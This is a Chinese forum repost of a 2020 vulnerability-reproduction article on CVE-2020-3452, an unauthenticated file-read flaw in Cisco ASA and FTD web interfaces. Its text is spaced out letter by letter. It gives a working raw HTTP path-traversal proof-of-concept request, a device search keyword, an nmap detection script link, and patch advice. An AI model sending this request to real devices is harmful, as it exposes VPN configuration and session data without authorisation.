搜索

[27347] 2020-07-23_CISCOASA设备任意文件读取漏洞复现(CVE-2020-3452)

文档创建者：s7ckTeam
浏览次数：13
最后更新：2025-01-19
2020-07-23_CISCOASA设备任意文件读取漏洞复现(CVE-2020-3452) C I S C O   A S A 设 备 任 意 文 件 读 取 漏 洞 复 现   ( C V E - 2 0 2 0 - 3 4 5 2 ) 原 创   n e a r s e c   N e a r S e c   2 0 2 0 - 0 7 - 2 3 点 击 上 方 蓝 字 点 击 上 方 蓝 字     关 注 我 们 吧 关 注 我 们 吧 0 x 0 1   漏 洞 简 述 漏 洞 简 述 C i s c o   A d a p t i v e   S e c u r i t y   A p p l i a n c e   ( A S A )   防 火 墙 设 备 以 及 C i s c o   F i r e p o w e r   T h r e a t   D e f e n s e   ( F T D ) 设 备 的 W E B 管 理 界 面 存 在 未 授 权 的 目 录 穿 越 漏 洞 和 远 程 任 意 文 件 读 取 漏 洞 ， 允 许 未 经 身 份 验 证 的 远 程 攻 击 者 进 行 目 录 遍 历 攻 击 并 读 取 目 标 系 统 上 的 敏 感 文 件 ， 此 漏 洞 不 能 用 于 获 取 对 A S A 或 F T D 系 统 文 件 或 底 层 操 作 系 统 ( O S ) 文 件 的 访 问 ， 所 以 只 能 读 取 w e b 系 统 目 录 的 文 件 ， 比 如 w e b v p n 的 配 置 文 件 、 书 签 、 网 络 c o o k i e s 、 部 分 网 络 内 容 和 超 文 本 传 输 协 议 网 址 等 信 息 。 0 x 0 2   漏 洞 复 现 漏 洞 复 现 F O F A 搜 索 关 键 字 ： P O C ： n m a p 检 测 脚 本 ： / + C S C O E + / C i s c o - A S A G E T   / + C S C O T + / t r a n s l a t i o n - t a b l e ? t y p e = m s t & t e x t d o m a i n = / % 2 b C S C O E % 2 b / p o r t a l _ i n c . l u a & d e f a u l t - l a n g u a g e & l a n g = . . /   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 0 . 1 C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 )   A p p l e W e b K i t / 5 3 7 . 3 6   ( K H T M L ,   l i k e   G e c k o )   C h r o m e / 5 8 . 0 . 3 0 2 9 . 1 1 0   S a f a r i / 5 3 7 . 3 6   S E   2 . X   M e t a S r   1 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , i m a g e / w e b p , * / * ; q = 0 . 8 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 C o o k i e :   w e b v p n L a n g = e n ;   w e b v p n l o g i n = 1 h t t p s : / / g i t h u b . c o m / R o o t U p / P e r s o n a l S t u f f / b l o b / d d 4 f 9 e 2 c d 1 c b 6 d 6 a 1 9 0 7 2 6 d 5 4 8 f a b e 0 e c 4 b 8 b 7 c 8 / h t t p - v u l n - c v e 2 0 2 0 - 3 4 5 2 . n s e
0 x 0 3   影 响 范 围 影 响 范 围 C i s c o   A S A 设 备 C i s c o   F T D 设 备 0 x 0 4   修 复 方 案 修 复 方 案 思 科 已 经 发 布 了 解 决 此 漏 洞 的 软 件 更 新 ， 建 议 受 影 响 用 户 尽 快 升 级 到 安 全 版 本 。 参 考 链 接 : 1 . h t t p s : / / m p . w e i x i n . q q . c o m / s / 6 g x B b K A e v k 2 3 I O G Q r N v X 5 A 2 . h t t p s : / / n v d . n i s t . g o v / v u l n / d e t a i l / C V E - 2 0 2 0 - 3 4 5 2 3 . h t t p s : / / t o o l s . c i s c o . c o m / s e c u r i t y / c e n t e r / c o n t e n t / C i s c o S e c u r i t y A d v i s o r y / c i s c o - s a - a s a f t d - r o - p a t h - K J u Q h B 8 扫 码 关 注 最 新 分 享 搜 索 公 众 号 ： n e a r s e c h t t p s : / / g i t h u b . c o m / R o o t U p / P e r s o n a l S t u f f / b l o b / d d 4 f 9 e 2 c d 1 c b 6 d 6 a 1 9 0 7 2 6 d 5 4 8 f a b e 0 e c 4 b 8 b 7 c 8 / h t t p - v u l n - c v e 2 0 2 0 - 3 4 5 2 . n s e
你 点 的 每 个 赞 ， 我 都 认 真 当 成 了 喜 欢
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理